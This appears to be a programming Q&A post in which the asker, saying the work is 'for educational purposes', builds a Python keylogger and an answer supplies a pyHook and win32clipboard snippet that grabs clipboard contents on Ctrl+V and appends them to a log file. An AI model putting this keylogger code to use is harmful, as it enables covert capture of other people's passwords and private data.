python-2.7clipboardkeyloggerctrl

How to catch ctrl+v?


I am writing a keylogger (for educational purposes).

I am trying to copy what will be in the clipboard and write it to a file in case Ctrl+V is pressed. I found out that it's abbreviation is 'SYN' but I do not know what is it's ascii. I did manage to capture every keystrokes and write it to a file. When Ctrl+V keystroke occur what I get in my file is 'Lcontrol' and the immediately after 'V' so what I am guessing is that it catch them separately.


Solution

  • This is the Solution:

    ...
    import win32clipboard
    from pyHook import HookManager, GetKeyState, HookConstants
    ...
    if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
            win32clipboard.OpenClipboard()
            data = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            with open(file, "a") as f:
                f.write("{Clipboard : " + data + "}")
    ...